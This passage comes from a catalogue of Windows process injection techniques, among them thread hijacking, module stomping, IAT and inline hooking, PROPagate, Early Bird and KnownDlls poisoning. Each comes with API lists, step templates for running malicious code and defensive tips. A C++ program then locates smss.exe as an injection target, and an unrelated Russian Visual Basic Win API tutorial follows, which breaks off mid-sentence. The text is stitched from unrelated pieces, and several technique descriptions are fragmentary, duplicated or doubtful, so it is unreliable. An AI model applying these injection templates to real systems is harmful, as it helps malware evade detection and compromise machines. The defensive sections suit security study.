- Allocate memory in the target process with
VirtualAllocEx
- Write the malicious code to the allocated memory with
WriteProcessMemory
- Subclass the window using
SetWindowSubclass
- Set a new property with
SetPropA
to store the payload - Trigger execution by sending a message with
PostMessage
Detection and Defense:
- Monitor for suspicious patterns of window enumeration and subclassing
- Implement integrity checks for window subclassing
- Use EDR solutions with capabilities to detect propagate injection techniques
- Employ behavior-based detection to identify processes with unexpected changes in window subclassing
12. Heap Spray
While not strictly an injection technique, heap spraying is often used in conjunction with other injection methods to facilitate exploit payload delivery. modern browsers and operating systems have implemented mitigations against this.
Key APIs:
HeapAlloc
LPVOID HeapAlloc( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes );
VirtualAlloc
LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
Template:
- Allocate multiple memory blocks using
HeapAlloc
orVirtualAlloc
- Fill these blocks with a combination of NOP sleds and the payload
- Repeat this process to cover a large portion of the process’s address space
Detection and Defense:
- Implement memory allocation monitoring to detect suspicious patterns
- Use address space layout randomization (ASLR) to mitigate heap spraying attacks
- Employ EDR solutions with capabilities to detect heap spraying techniques
- Implement browser-specific mitigations, such as randomizing heap allocation
13. Thread Execution Hijacking
This technique involves suspending a legitimate thread in a target process, modifying its execution context to point to malicious code, and then resuming the thread. saving and restoring the original thread context required to maintain process stability.
Key APIs:
OpenThread
(see above)SuspendThread
(see above)GetThreadContext
(see above)SetThreadContext
(see above)VirtualAllocEx
(see above)WriteProcessMemory
(see above)ResumeThread
(see above)
Template:
- Open the target thread with
OpenThread
- Suspend the thread with
SuspendThread
- Get the thread context with
GetThreadContext
- Allocate memory in the target process with
VirtualAllocEx
- Write the malicious code to the allocated memory with
WriteProcessMemory
- Modify the thread context to point to the injected code with
SetThreadContext
- Resume the thread with
ResumeThread
Detection and Defense:
- Monitor for suspicious patterns of thread suspension and resumption
- Implement thread execution monitoring to detect unexpected changes in execution flow
- Use EDR solutions with capabilities to detect thread hijacking techniques
- Employ runtime analysis to identify unusual thread behavior
14. Module Stomping
This technique overwrites the memory of a legitimate module in the target process with malicious code, potentially bypassing some security checks. detected by integrity checks on loaded modules.
Key APIs:
GetModuleInformation
BOOL GetModuleInformation( HANDLE hProcess, HMODULE hModule, LPMODULEINFO lpmodinfo, DWORD cb );
VirtualProtectEx
BOOL VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
WriteProcessMemory
(see above)
Template:
- Open the target process with
OpenProcess
- Get information about the target module using
GetModuleInformation
- Change the memory protection of the module to writable using
VirtualProtectEx
- Overwrite the module’s code section with malicious code using
WriteProcessMemory
- Restore the original memory protection with
VirtualProtectEx
Detection and Defense:
- Implement module integrity checks to detect modifications to loaded modules
- Use EDR solutions with capabilities to detect module stomping techniques
- Employ memory forensics tools to identify signs of module stomping
- Implement code signing and verification mechanisms for loaded modules
15. IAT Hooking
This technique modifies the Import Address Table (IAT) of a process to redirect function calls to malicious code. detected by comparing the IAT entries with the actual function addresses in the target DLLs.
Key APIs:
GetProcAddress
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
VirtualProtect
BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
Template:
- Locate the IAT of the target process
- Identify the function to be hooked
- Change the memory protection of the IAT to writable using
VirtualProtect
- Replace the original function address with the address of the malicious function
- Calculate the address of the IAT entry for the target function
- Read the original function address from the IAT entry
- Replace the original function address with the address of the malicious function
- Restore the original memory protection
Detection and Defense:
- Implement IAT integrity checks to detect modifications
- Use EDR solutions with capabilities to detect IAT hooking
- Employ runtime analysis to identify unexpected function redirections
- Implement code signing and verification mechanisms for loaded modules
16. Inline Hooking
This technique modifies the first few instructions of a function to redirect execution to malicious code. requires careful handling of multi-byte instructions and relative jumps.
Key APIs:
VirtualProtect
(see above)memcpy
void *memcpy( void *dest, const void *src, size_t count );
Template:
- Locate the target function in memory
- Change the memory protection to writable using
VirtualProtect
- Save the original instructions (usually 5 or more bytes)
- Overwrite the beginning of the function with a jump to the malicious code
- In the malicious code, execute the saved original instructions and then jump back to the original function
Detection and Defense:
- Implement function integrity checks to detect modifications to function prologues
- Use EDR solutions with capabilities to detect inline hooking
- Employ runtime analysis to identify unexpected changes in function execution flow
- Implement code signing and verification mechanisms for loaded modules
17. Debugger Injection
This technique uses debugging APIs to inject code into a target process. can be detected by anti-debugging checks in the target process.
Key APIs:
DebugActiveProcess
BOOL DebugActiveProcess( DWORD dwProcessId );
WaitForDebugEvent
BOOL WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, DWORD dwMilliseconds );
ContinueDebugEvent
BOOL ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus );
Template:
- Attach to the target process as a debugger using
DebugActiveProcess
- Wait for debug events with
WaitForDebugEvent
- When a suitable event occurs, inject the malicious code using
WriteProcessMemory
- Modify the thread context to execute the injected code
- Continue the debug event with
ContinueDebugEvent
Detection and Defense:
- Implement anti-debugging techniques in sensitive applications
- Monitor for suspicious use of debugging APIs
- Use EDR solutions with capabilities to detect debugger-based injection
- Employ runtime analysis to identify unexpected debugging events
18. COM Hijacking
This technique involves replacing legitimate COM objects with malicious ones to execute code when the COM object is instantiated. used for persistence, not just for injection.
Key APIs:
CoCreateInstance
HRESULT CoCreateInstance( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv );
RegOverridePredefKey
LSTATUS RegOverridePredefKey( HKEY hKey, HKEY hNewHKey );
Template:
- Create a malicious COM object
- Modify the registry to replace the CLSID of a legitimate COM object with the malicious one
- When the application calls
CoCreateInstance
, the malicious object will be instantiated instead
Detection and Defense:
- Implement COM object integrity checks
- Monitor for suspicious registry modifications related to COM objects
- Use application whitelisting to prevent unauthorized COM objects from loading
- Employ behavior-based detection to identify unexpected COM object instantiation
19. Phantom DLL Hollowing
This technique involves creating a new section in a legitimate DLL and injecting code into it.
Key APIs:
LoadLibraryEx
HMODULE LoadLibraryExA( LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags );
VirtualAlloc
LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
VirtualProtect
BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
Template:
- Load a legitimate DLL using
LoadLibraryEx
withDONT_RESOLVE_DLL_REFERENCES
flag - Allocate a new memory section using
VirtualAlloc
- Copy the malicious code to the new section
- Modify the DLL’s PE headers to include the new section
- Change the memory protection of the new section using
VirtualProtect
- Execute the injected code
Detection and Defense:
- Implement DLL integrity checks to detect modifications
- Monitor for suspicious patterns of DLL loading and memory allocation
- Use EDR solutions with capabilities to detect phantom DLL hollowing
- Employ memory forensics tools to identify signs of DLL manipulation
20. PROPagate
This technique abuses the SetProp/GetProp Windows API functions to achieve code execution.
Key APIs:
SetProp
BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );
GetProp
HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
EnumPropsEx
int EnumPropsExW( HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam );
Template:
- Find a target window using
FindWindow
orEnumWindows
- Allocate memory for the payload using
VirtualAllocEx
- Write the payload to the allocated memory using
WriteProcessMemory
- Use
SetProp
to set a property on the window, with the payload address as the property value
- Create a custom window procedure that executes the payload
- Use
SetWindowLongPtr
to replace the original window procedure with the custom one
- Trigger the execution by causing the window to enumerate its properties (e.g., by sending a message that causes a redraw)
Detection and Defense:
- Monitor for suspicious modifications to window properties
- Implement integrity checks for window properties
- Use EDR solutions with capabilities to detect PROPagate techniques
- Employ behavior-based detection to identify processes with unexpected changes in window properties
21. Early Bird Injection
This technique injects code into a process during its initialization, before the main thread starts executing.
Key APIs:
CreateProcess
BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
VirtualAllocEx
(see above)WriteProcessMemory
(see above)QueueUserAPC
(see above)ResumeThread
(see above)
Template:
- Create a new process in suspended state using
CreateProcess
withCREATE_SUSPENDED
flag - Allocate memory in the new process using
VirtualAllocEx
- Write the payload to the allocated memory using
WriteProcessMemory
- Queue an APC to the main thread using
QueueUserAPC
, pointing to the payload - Resume the main thread using
ResumeThread
Detection and Defense:
- Monitor for process creation with the
CREATE_SUSPENDED
flag - Implement process initialization monitoring to detect unexpected code execution
- Use EDR solutions with capabilities to detect Early Bird injection techniques
- Employ behavior-based detection to identify processes with abnormal initialization patterns
22. Shim-based Injection
This technique leverages the Windows Application Compatibility framework to inject code.
Key APIs:
SdbCreateDatabase
PDB SdbCreateDatabase( LPCWSTR pwszPath );
SdbWriteDWORDTag
BOOL SdbWriteDWORDTag( PDB pdb, TAG tTag, DWORD dwData );
SdbEndWriteListTag
BOOL SdbEndWriteListTag( PDB pdb, TAG tTag );
Template:
- Create a shim database using
SdbCreateDatabase
- Write shim data to the database, including the payload and target application
- Install the shim database using
sdbinst.exe
- The payload will be executed when the target application is launched
Detection and Defense:
- Monitor for suspicious shim database creation and installation
- Implement application compatibility shim monitoring
- Use EDR solutions with capabilities to detect shim-based injection techniques
- Employ whitelisting for approved shims and block unauthorized shim installations
23. Mapping Injection
This technique uses memory-mapped files to inject code into a remote process.
Key APIs:
CreateFileMapping
HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
MapViewOfFile
LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
NtMapViewOfSection
(Undocumented)NTSTATUS NTAPI NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
Template:
- Create a file mapping object using
CreateFileMapping
- Map a view of the file into the current process using
MapViewOfFile
- Write the payload to the mapped view
- Use
NtMapViewOfSection
to map the view into the target process - Execute the payload in the target process
Detection and Defense:
- Monitor for suspicious patterns of file mapping and view creation
- Implement memory mapping monitoring to detect unexpected shared memory usage
- Use EDR solutions with capabilities to detect mapping injection techniques
- Employ behavior-based detection to identify processes with abnormal memory-mapped file usage
24. KnownDlls Cache Poisoning
This technique involves replacing a legitimate DLL in the KnownDlls cache with a malicious one.
Key APIs:
NtSetSystemInformation
(Undocumented)NTSTATUS NTAPI NtSetSystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength );
Template:
- Create a malicious DLL with the same name as a legitimate KnownDlls entry
- Create a Section object for the malicious DLL:
- Use NtCreateSection to create a section object
- Map a view of the section into memory
- Write the malicious DLL content to the mapped view
- Use
NtSetSystemInformation
withSystemExtendServiceTableInformation
to add the malicious DLL to the KnownDlls cache - The malicious DLL will be loaded instead of the legitimate one by processes
Detection and Defense:
- Implement KnownDlls integrity checks
- Monitor for modifications to the KnownDlls cache
- Use EDR solutions with capabilities to detect KnownDlls cache poisoning
- Employ whitelisting and code signing verification for DLLs in the KnownDlls cache
Additional Considerations for Detection and Defense
- Implement a robust Application Whitelisting strategy to prevent unauthorized executables and DLLs from running.
- Use Windows Defender Exploit Guard or similar technologies to enable Attack Surface Reduction (ASR) rules.
- Keep systems and software up-to-date with the latest security patches.
- Utilize User Account Control (UAC) and principle of least privilege to limit the impact of successful injections.
- Implement Network Segmentation to limit lateral movement in case of a successful attack.
- Use Runtime Application Self-Protection (RASP) technologies to detect and prevent injection attempts in real-time.
- Regularly perform threat hunting activities to proactively search for signs of injection techniques.
- Implement and maintain a robust Security Information and Event Management (SIEM) system to correlate and analyze security events.
- Conduct regular security awareness training for users to recognize and report suspicious activities.
- Perform regular penetration testing and red team exercises to identify vulnerabilities and improve defenses against injection techniques.
Process Enumeration
#include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <errhandlingapi.h> // GetLastError #include <heapapi.h> // HeapCreate, HeapAlloc, HeapDestroy #include <strsafe.h> // StringCchPrintf #include <assert.h> #include <tchar.h> void ErrorExit(LPCTSTR lpszFunction); int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe); int PrintProcessInfo(const PROCESSENTRY32* lppe); int PrintProcessInfo(const PROCESSENTRY32* lppe) { assert(lppe); wprintf(L"PROCESS : %ls\n", lppe->szExeFile); int PID = static_cast<int>(lppe->th32ProcessID); if (PID == 0) { wprintf(L"ERR : Process Not Found.\n"); return 0; } wprintf(L"PID : %i\n\n", PID); return 1; } void ErrorExit(LPCTSTR functionName) { constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS; constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); constexpr size_t EXTRA_CHARS = 40; DWORD errorCode = GetLastError(); LPTSTR messageBuf = nullptr; FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)&messageBuf, 0, NULL); if (messageBuf) { size_t funcNameLen = _tcslen(functionName); size_t messageLen = _tcslen(messageBuf); size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR); LPTSTR displayBuf = static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT, bufSize)); if (displayBuf) { StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), functionName, errorCode, messageBuf); MessageBox(NULL, displayBuf, TEXT("Error"), MB_OK); LocalFree(displayBuf); } LocalFree(messageBuf); } ExitProcess(errorCode); } int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe) { assert(ProcessName && lppe); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) ErrorExit(TEXT("CreateToolhelp32Snapshot")); lppe->dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, lppe) == FALSE) { CloseHandle(hSnapshot); ErrorExit(TEXT("Process32First")); } int pFoundFlag = 0; do { size_t wcProcessName = wcslen(ProcessName); if (wcsncmp(lppe->szExeFile, ProcessName, wcProcessName) == 0) { if (!PrintProcessInfo(lppe)) continue; pFoundFlag = 1; break; } } while (Process32Next(hSnapshot, lppe)); CloseHandle(hSnapshot); return pFoundFlag; } int main(int argc, char** argv) { wchar_t pName[] = L"smss.exe"; // process name we will be injecting PROCESSENTRY32 lppe = { 0 }; if (ProcessEnumerateAndSearch(pName, &lppe)) { // do some stuff } else { return 1; } return 0; }
Windows API — набор функций операционной
системы
Win16 API и Win32 API
Зачем нужен Win API для VB-программистов
Как изучать Win API
Win API и Dynamic Link Library (DLL)
Совет 1. Следите за правильным
оформлением объявления DLL-процедур
Совет 2. Будьте особенно внимательны
при работе с DLL-функциями
Совет 3. Десять рекомендаций
Дэна Эпплмана по надежному API-программированию в среде VB
Совет 4. Не нужно бояться применять
Win API
Пример обращения к API-функции
Совет 5. Используйте Alias для
передачи параметров As Any
Совет 6. Внимание при работе
со строковыми переменными
Совет 7. Как обращаться к DLL-функциям
Windows API — наиболее важная и мощная дополнительная библиотека функций,
доступная каждому VB-программисту. Многие из них, в том числе и опытные разработчики,
работают с функциями Windows API, используя простые готовые решения, почерпнутые
из различных книг и журналов (возможно, и в нашей постоянной рубрике «Советы
для тех, кто программирует на VB»), и не очень задумываясь о сути этой технологии.
Такой подход является достаточным при решении простых задач, но для серьезной
работы предпочтительнее более детально разобраться с основными принципами использования
функций Windows API. Этим мы сейчас и займемся.
Windows API — набор функций операционной системы
Аббревиатура API многим начинающим
программистам кажется весьма таинственной и
даже пугающей. На самом же деле Application Programming Interface
(API) — это просто некоторый готовый набор
функций, который могут использовать
разработчики приложений. В общем случае данное
понятие эквивалентно тому, что раньше чаще
называли библиотекой подпрограмм. Однако обычно
под API подразумевается особая категория таких
библиотек.
В ходе разработки практически любого
достаточно сложного приложения (MyAppication) для
конечного пользователя формируется набор
специфических внутренних функций, используемых
для реализации данной конкретной программы,
который называется MyApplication API. Однако часто
оказывается, что эти функции могут эффективно
использоваться и для создания других приложений,
в том числе другими программистами. В этом случае
авторы, исходя из стратегии продвижения своего
продукта, должны решить вопрос: открывают они
доступ к этому набору для внешних пользователей
или нет? При утвердительном ответе в описании
программного пакета в качестве положительной
характеристики появляется фраза: «Комплект
включает открытый набор API-функций» (но иногда за
дополнительные деньги).
Таким образом, чаще всего под API
подразумевается набор функций, являющихся
частью одного приложения, но при этом доступных
для использования в других программах. Например,
Excel, кроме интерфейса для конечного пользователя,
имеет набор функций Excel API, который может
использоваться, в частности, при создании
приложений с помощью VB.
Соответственно Windows API — это набор
функций, являющийся частью самой операционной
системы и в то же время — доступный для любого
другого приложения, в том числе написанного с
помощью VB. В этом плане вполне оправданна
аналогия с набором системных прерываний BIOS/DOS,
который фактически представляет собой DOS API.
Отличие заключается в том, что состав функций Windows API, с одной стороны,
значительно шире по сравнению с DOS, с другой — не включает многие средства
прямого управления ресурсами компьютера, которые были доступны программистам
в предыдущей ОС. Кроме того, обращение к Windows API выполняется с помощью обыкновенных
процедурных обращений, а вызов функций DOS — через специальную машинную
команду процессора, которая называется Interrupt («прерывание»).
Win16 API и Win32 API
Как известно, смена Windows 3.x на Windows 95
ознаменовала собой переход от 16-разрядной
архитектуры операционной системы к 32-разрядной.
Одновременно произошла замена 16-разрядного Windows
API (Win16 API) на новый 32-разрядный вариант (Win32 API) —
о некоторых аспектах этого перехода будет
упомянуто в этой главе. В данном случае нужно
просто иметь в виду, что, за небольшим
исключением, набор Win32 API является единым для
семейств Windows 9x и Windows NT.
Далее в этой статье под термином API будет подразумеваться Win API, более того,
по умолчанию — Win32 API.
Зачем нужен Win API для VB-программистов
Несмотря на то что VB обладает огромным
множеством разнообразных функций, в процессе
более-менее серьезной разработки
обнаруживается, что их возможностей зачастую не
достаточно для решения необходимых задач. При
этом программисты-новички часто начинают
жаловаться на недостатки VB и подумывать о смене
инструмента, не подозревая, что на их компьютере
имеется огромный набор средств и нужно только
уметь ими воспользоваться.
При знакомстве с Win API обнаруживается,
что многие встроенные VB-функции — не что иное,
как обращение к соответствующим системным
процедурам, но только реализованное в виде
синтаксиса данного языка. С учетом этого
необходимость использования API определяется
следующим вариантами:
- API-функции, которые полностью реализованы в виде встроенных VB-функций.
Тем не менее иногда и в этом случае бывает полезным перейти к применению API,
так как это позволяет порой существенно повысить производительность (в частности,
за счет отсутствия ненужных преобразований передаваемых параметров). - Встроенные VB-функции реализуют лишь частный случай соответствующей API-функции.
Это довольно обычный вариант. Например, API-функция CreateDirectory обладает
более широкими возможностями по сравнению со встроенным VB-оператором MkDir. - Огромное число API-функций вообще не имеет аналогов в существующем сегодня
варианте языка VB. Например, удалить каталог средствами VB нельзя — для
этого нужно использовать функцию DeleteDirectory.
Следует также подчеркнуть, что
некоторые API-функции (их доля в Win API весьма
незначительна) не могут вызываться из VB-программ
из-за ряда ограничений языка, например из-за
отсутствия возможности работы с адресами памяти.
Но в ряде случаев могут помочь нетривиальные
приемы программирования (в частности, в случае с
теми же адресами).
Личная точка зрения автора такова — вместо расширения от версии к версии
встроенных функций VВ следовало бы давать хорошее описание наиболее ходовых
API-функций. В то же время хочется посоветовать разработчикам не ждать появления
новой версии средства с расширенными функциями, а внимательнее изучить состав
существующего Win API — вполне вероятно, что нужные вам возможности можно
было реализовать уже в версии VB 1.0 выпуска 1991 года.
Как изучать Win API
Это не такой простой вопрос, если
учесть, что число функций Win32 API оценивается
величиной порядка 10 тысяч (точной цифры не знает
никто, даже Microsoft).
В состав VB (версий 4-6) входит файл с
описанием объявлений Win API — WIN32API.TXT (подробнее
о его применении мы расскажем позднее). Но,
во-первых, с его помощью можно получить сведения
о назначении той или иной функции и ее параметрах
только по используемым мнемоническим именам, а
во-вторых — перечень функций в этом файле
далеко не полный. В свое время (семь лет назад) в VB
3.0 имелись специальные справочные файлы с
описанием функций Win16 API. Однако уже в v.4.0 эта
полезная информация с удобным интерфейсом
исчезла.
Исчерпывающую информацию о Win32 API можно
найти в справочной системе Platform Software Development Kit,
которая, в частности, находится на компакт-дисках
MSDN Library, включенных в состав VB 5.0 и 6.0 Enterprise Edition и
Office 2000 Developer Edition. Однако разыскать там нужную
информацию и разобраться в ней совсем не просто.
Не говоря уж о том, что все описания там
приводятся применительно к языку C.
Общепризнанным в мире пособием для
изучения API-программирования в среде VB являются
книги известного американского эксперта Даниэля
Эпплмана (Daniel Appleman). Его серия Dan Appleman’s Visual Basic
Programmer’s Guide to the Windows API (для Win16, Win32, применительно
к разным версиям VB) с 1993 года неизменно входит в
число бестселлеров для VB-программистов. Книгу Dan
Appleman’s VB 5.0 Programmer’s Guide to the Win32 API, выпущенную в 1997
году, автору привез из США приятель, который
нашел ее в первом же книжном магазине небольшого
провинциального городка.
Эта книга объемом свыше 1500 страниц
включает описание общей методики
API-программирования в среде VB, а также более 900
функций. Прилагаемый компакт-диск содержит
полный текст книги и всех программных примеров, а
кроме того, несколько дополнительных глав, не
вошедших в печатный вариант. В 1999 году Дэн
Эпплман выпустил новую книгу Dan Appleman’s Win32 API Puzzle
Book and Tutorial for Visual Basic Programmers, которая включает
сведения о еще 7600 функциях (хотя и не столь
обстоятельные).
Подробнее о книге можно прочитать по адресу www.visual.2000.ru\develop\vb\books-vb\80531api.htm.
Win API и Dynamic Link Library (DLL)
Набор Win API реализован в виде
динамических DLL-библиотек. Далее речь фактически
пойдет о технологии использования DLL в среде VB на
примере библиотек, входящих в состав Win API. Однако,
говоря о DLL, необходимо сделать несколько важных
замечаний.
В данном случае под DLL мы подразумеваем
традиционный вариант двоичных динамических
библиотек, которые обеспечивают прямое
обращение приложений к нужным процедурам —
подпрограммам или функциям (примерно так же, как
это происходит при вызове процедур внутри
VB-проекта). Такие библиотеки могут создаваться с
помощью разных инструментов: VC++, Delphi, Fortran, кроме VB
(посмотрим, что появится в версии 7.0) —
последний может делать только ActiveX DLL, доступ к
которым выполняется через интерфейс OLE Automation.
Обычно файлы динамических библиотек
имеют расширение .DLL, но это совсем не обязательно
(для Win16 часто применялось расширение .EXE);
драйверы внешних устройств обозначаются с
помощью .DRV.
Как мы уже отмечали, определить точное
число API-функций Windows и содержащих их файлов
достаточно сложно, однако все они находятся в
системном каталоге. В этом плане лучше выделить
состав библиотек, входящих в ядро операционной
системы, и основных библиотек с ключевыми
дополнительными функциями.
А теперь несколько советов.
Совет 1. Следите за правильным оформлением объявления
DLL-процедур
Само обращение к DLL-процедурам в программе выглядит точно так же, как к «обычным»
процедурам Visual Basic, например:
Call DllName ([список аргументов])
Однако для использования внешних DLL-функций (в том числе и Win API) их нужно
обязательно объявить в программе с помощью оператора Declare, который имеет
следующий вид:
[Public | Private] Declare Sub ИмяПроцедуры Lib _ “ИмяБиблиотеки” [Alias “Псевдоним”] _ [([СписокАргументов])]
или
[Public | Private] Declare Function ИмяФункции _ Lib “ИмяБиблиотеки” [Alias “Псевдоним”] _ [([СписокАргументов])] [As type]
Здесь в квадратных скобках приведены
необязательные элементы оператора, курсивом
выделены переменные выражения, остальные
слова — ключевые. В справочной системе
приведено достаточно хорошее описание
синтаксиса оператора, поэтому сейчас мы только
отметим некоторые моменты.
Объявления внешних функций должны
размещаться в секции General Declarations модуля. Если вы
размещаете его в модуле формы, то обязательно
нужно указать ключевое слово Private (это объявление
будет доступно только внутри данного
модуля) — таково ограничение для всех
процедур модуля формы.
Набор Win32 API реализован только в виде
функций (в Win16 API было много подпрограмм Sub). В
большинстве своем — это функции типа Long,
которые чаще всего возвращают код завершения
операции.
Оператор Declare появился в MS Basic еще во
времена DOS, причем он использовался и для
объявления внутренних процедур проекта. В Visual Basic
этого не требуется, так как объявлением
внутренних процедур автоматически является их
описание Sub или Function. По сравнению с Basic/DOS в новом
описании обязательно указывать имя
файла-библиотеки, где находится искомая
процедура. Библиотеки Wip API размещаются в
системном каталоге Windows, поэтому достаточно
привести только название файла. Если же вы
обращаетесь к DLL, которая находится в
произвольном месте, нужно записать полный путь к
данному файлу.
Описание оператора Declare обычно занимает довольно много места и не помещается
в одну строку в окне кода. Поэтому мы рекомендуем придерживаться при написании
приложений какой-либо определенной схемы переноса строк, например:
Declare Function GetTempPath _ Lib “kernel32” Alias “GetTempPathA” _ (ByVal nBufferLength As Long, _ ByVal lpBuffer As String) As Long
В этом случае все основные элементы описания разнесены на разные строчки и
поэтому хорошо читаются.
Совет 2. Будьте особенно внимательны при работе с DLL-функциями
Использование Win API и разнообразных
DLL-функций существенно расширяет функциональные
возможности VB и зачастую позволяет повысить
производительность программ. Однако расплата за
это — риск снижения надежности работы
приложения, особенно в процессе его отладки.
Одним из самых важных достоинств среды
VB является надежность процесса разработки
программ: функционируя под управлением
интерпретатора, программный код теоретически не
может нарушить работу Windows и самого VB.
Программист может не очень внимательно следить
за правильностью передачи параметров в
вызываемые функции — подобные ошибки будут
легко обнаружены самим интерпретатором либо в
процессе трансляции кода, либо во время его
выполнения. В самом неприятном случае просто
произойдет прерывание режима обработки, причем с
указанием, где и почему произошла ошибка.
Использование напрямую функций Windows API
или других DLL-библиотек снимает такой контроль за
передачей данных и процессом выполнения кода вне
среды VB. Поэтому ошибка в обращении к внешним
функциям может привести к неработоспособности и
VB и операционной системы. Это особенно актуально
на этапе разработки программы, когда наличие
ошибок — дело вполне естественное. Таким
образом, применяя более широкие возможности
функций базового слоя системы, программист берет
на себя ответственность за правильность их
применения.
Проблема усугубляется еще и тем, что
разные языки программирования используют
различные способы передачи параметров между
процедурами. (Точнее, разные способы передачи
используются по умолчанию, так как многие языки
могут поддерживать несколько способов.) Win API
реализованы на C/C++ и применяют соглашения о
передаче параметров, принятые в этой системе,
которые отличаются от привычного для VB варианта.
В связи с этим следует отметить, что появление встроенных в VB аналогов API-функций
оправданно именно адаптацией последних к синтаксису VB и реализацией соответствующего
механизма контроля обмена данными. Обратим также внимание, что на этапе опытной
отладки приложения при создании исполняемого модуля лучше использовать вариант
компиляции P-code вместо Native Code (машинный код). В первом случае программа
будет работать под управлением интерпретатора — медленнее по сравнению
с машинным кодом, но более надежно с точки зрения возможного ошибочного воздействия
на операционную систему и обеспечивая более удобный режим выявления возможных
ошибок.
Совет 3. Десять рекомендаций Дэна Эпплмана по надежному
API-программированию в среде VB
Использование функции API требует более
внимательного программирования с
использованием некоторых не очень привычных
методов обращения к процедурам (по сравнению с VB).
Далее мы будем постоянно обращаться к этим
вопросам. А сейчас приведем изложение
сформулированных Дэном Эпплманом советов на эту
тему (их первый вариант появился еще в 1993 году) с
некоторыми нашими дополнениями и комментариями.
1. Помните о ByVal. Наиболее частая ошибка, совершаемая при обращении
к функциям API и DLL, заключается в некорректном использовании ключевого слова
ByVal: его или забывают ставить, или, наоборот, ставят, когда в нем нет необходимости.
На этих примерах показано влияние оператора
ByVal на передачу параметров
Тип параметра | С ByVal | Без ByVal |
---|---|---|
Integer | В стек помещается 16-разрядное целое | В стек помещается 32-разрядный адрес 16-разрядного целого |
Long | В стек помещается 32-разрядное целое | В стек помещается 32-разрядный адрес 32-разрядного целого |
String | Строка преобразуется в формат, используемый в С (данные и завершающий нулевой байт). 32-разрядный адрес новой строки помещается в стек |
В стек помещается VB-дескриптор строки. (Такие дескрипторы никогда не используются самим Windows API и распознаются только в DLL, реализованных специально для VB.) |
Здесь следует напомнить, что передача параметров в любой системе программирования,
в том числе и VB, выполняется двумя основными путями: по ссылке (ByRef) или
по значению (ByVal). В первом случае передается адрес переменной (этот вариант
используется в VB по умолчанию), во втором — ее величина. Принципиальное
отличие заключается в том, что с помощью ссылки обеспечивается возврат в вызывающую
программу измененного значения передаваемого параметра.
Чтобы разобраться в этом, проведите эксперимент с помощью таких программ:
Dim v As Integer v = 2 Call MyProc(v) MsgBox “v = “ & v Sub MyProc (v As Integer) v = v + 1 End Sub
Запустив на выполнение этот пример, вы получите сообщение со значением переменной,
равным 3. Дело в том, что в данном случае в подпрограмму MyProc передается адрес
переменной v, физически созданной в вызывающей программе. Теперь измените описание
процедуры на
Sub MyProc (ByVal v As Integer)
В результате при выполнении теста вы получите v = 2, потому что в процедуру
передается лишь исходное значение переменной — результат выполненных с
ним операций не возвращается в вызывающую программу. Режим передачи по значению
можно поменять также с помощью оператора Call следующим образом:
Sub MyProc (v As Integer) ... Call MyProc((v)) ‘ (v) — скобки указывают режим _ передачи по значению.
Однако при обращении к внутренним
VB-процедурам использование в операторе Call
ключевого слова ByVal запрещено — вместо него
применяются круглые скобки. Этому есть свое
объяснение.
В классическом случае (С, Fortran, Pascal)
различие режимов ByRef и ByVal зависит от того, что
именно помещается в стек обмена данными —
адрес переменной или ее значение. В Basic
исторически используется вариант программной
эмуляции ByVal — в стеке всегда находится адрес,
но только при передаче по значению для этого
создается временная переменная. Чтобы отличить
два этих варианта (классический и Basic),
используются разные способы описания режима ByVal.
Отметим, что эмуляция режима ByVal в VB обеспечивает
более высокую надежность программы: перепутав
